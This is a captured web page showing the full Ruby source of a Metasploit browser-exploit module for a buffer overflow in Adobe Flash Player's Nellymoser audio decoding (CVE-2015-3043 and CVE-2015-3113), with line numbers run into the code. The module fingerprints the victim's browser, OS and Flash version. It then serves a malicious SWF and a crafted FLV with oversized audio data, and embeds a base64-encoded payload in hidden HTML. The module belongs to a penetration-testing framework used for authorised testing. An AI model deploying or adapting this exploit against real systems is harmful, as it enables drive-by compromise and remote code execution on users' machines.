Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/browser/adobe_flash_nellymoser_bof.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::BrowserExploitServer910def initialize(info={})11super(update_info(info,12'Name' => 'Adobe Flash Player Nellymoser Audio Decoding Buffer Overflow',13'Description' => %q{14This module exploits a buffer overflow on Adobe Flash Player when handling nellymoser15encoded audio inside a FLV video, as exploited in the wild on June 2015. This module16has been tested successfully on:1718Windows 7 SP1 (32-bit), IE11 and Adobe Flash 18.0.0.160,19Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 18.0.0.160,20Windows 8.1, Firefox 38.0.5 and Adobe Flash 18.0.0.160,21Linux Mint "Rebecca" (32 bits), Firefox 33.0 and Adobe Flash 11.2.202.466, and22Ubuntu 14.04.2 LTS, Firefox 35.01, and Adobe Flash 11.2.202.466.2324Note that this exploit is effective against both CVE-2015-3113 and the25earlier CVE-2015-3043, since CVE-2015-3113 is effectively a regression26to the same root cause as CVE-2015-3043.27},28'License' => MSF_LICENSE,29'Author' =>30[31'Unknown', # Exploit in the wild32'juan vazquez' # msf module33],34'References' =>35[36['CVE', '2015-3043'],37['CVE', '2015-3113'],38['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb15-06.html'],39['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb15-14.html'],40['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/new-adobe-zero-day-shares-same-root-cause-as-older-flaws/'],41['URL', 'http://malware.dontneedcoffee.com/2015/06/cve-2015-3113-flash-up-to-1800160-and.html'],42['URL', 'http://bobao.360.cn/learning/detail/357.html']43],44'Payload' =>45{46'DisableNops' => true47},48'Platform' => ['win', 'linux'],49'Arch' => [ARCH_X86],50'BrowserRequirements' =>51{52:source => /script|headers/i,53:arch => ARCH_X86,54:os_name => lambda do |os|55os =~ OperatingSystems::Match::LINUX ||56os =~ OperatingSystems::Match::WINDOWS_7 ||57os =~ OperatingSystems::Match::WINDOWS_8158end,59:ua_name => lambda do |ua|60case target.name61when 'Windows'62return true if ua == Msf::HttpClients::IE || ua == Msf::HttpClients::FF63when 'Linux'64return true if ua == Msf::HttpClients::FF65end6667false68end,69:flash => lambda do |ver|70case target.name71when 'Windows'72return true if ver =~ /^18\./ && Rex::Version.new(ver) <= Rex::Version.new('18.0.0.161')73return true if ver =~ /^17\./ && Rex::Version.new(ver) != Rex::Version.new('17.0.0.169')74when 'Linux'75return true if ver =~ /^11\./ && Rex::Version.new(ver) <= Rex::Version.new('11.2.202.466') && Rex::Version.new(ver) != Rex::Version.new('11.2.202.457')76end7778false79end80},81'Targets' =>82[83[ 'Windows',84{85'Platform' => 'win'86}87],88[ 'Linux',89{90'Platform' => 'linux'91}92]93],94'Privileged' => false,95'DisclosureDate' => '2015-06-23',96'DefaultTarget' => 0))97end9899def exploit100@swf = create_swf101@flv = create_flv102103super104end105106def on_request_exploit(cli, request, target_info)107print_status("Request: #{request.uri}")108109if request.uri =~ /\.swf$/110print_status('Sending SWF...')111send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})112return113end114115if request.uri =~ /\.flv$/116print_status('Sending FLV...')117send_response(cli, @flv, {'Content-Type'=>'video/x-flv', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})118return119end120121print_status('Sending HTML...')122send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})123end124125def exploit_template(cli, target_info)126swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"127target_payload = get_payload(cli, target_info)128b64_payload = Rex::Text.encode_base64(target_payload)129os_name = target_info[:os_name]130131if target.name =~ /Windows/132platform_id = 'win'133elsif target.name =~ /Linux/134platform_id = 'linux'135end136137html_template = %Q|<html>138<body>139<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />140<param name="movie" value="<%=swf_random%>" />141<param name="allowScriptAccess" value="always" />142<param name="FlashVars" value="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" />143<param name="Play" value="true" />144<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" Play="true"/>145</object>146</body>147</html>148|149150return html_template, binding()151end152153def create_swf154path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-3113', 'msf.swf')155swf = ::File.open(path, 'rb') { |f| swf = f.read }156157swf158end159160def create_flv161header = ''162header << 'FLV' # signature163header << [1].pack('C') # version164header << [4].pack('C') # Flags: TypeFlagsAudio165header << [9].pack('N') # DataOffset166167data = ''168data << "\x68" # fmt = 6 (Nellymoser), SoundRate: 2, SoundSize: 0, SoundType: 0169data << "\xee" * 0x440 # SoundData170171tag1 = ''172tag1 << [8].pack('C') # TagType (audio)173tag1 << "\x00\x04\x41" # DataSize174tag1 << "\x00\x00\x1a" # TimeStamp175tag1 << [0].pack('C') # TimeStampExtended176tag1 << "\x00\x00\x00" # StreamID, always 0177tag1 << data178179body = ''180body << [0].pack('N') # PreviousTagSize181body << tag1182body << [0xeeeeeeee].pack('N') # PreviousTagSize183184flv = ''185flv << header186flv << body187188flv189end190end191192193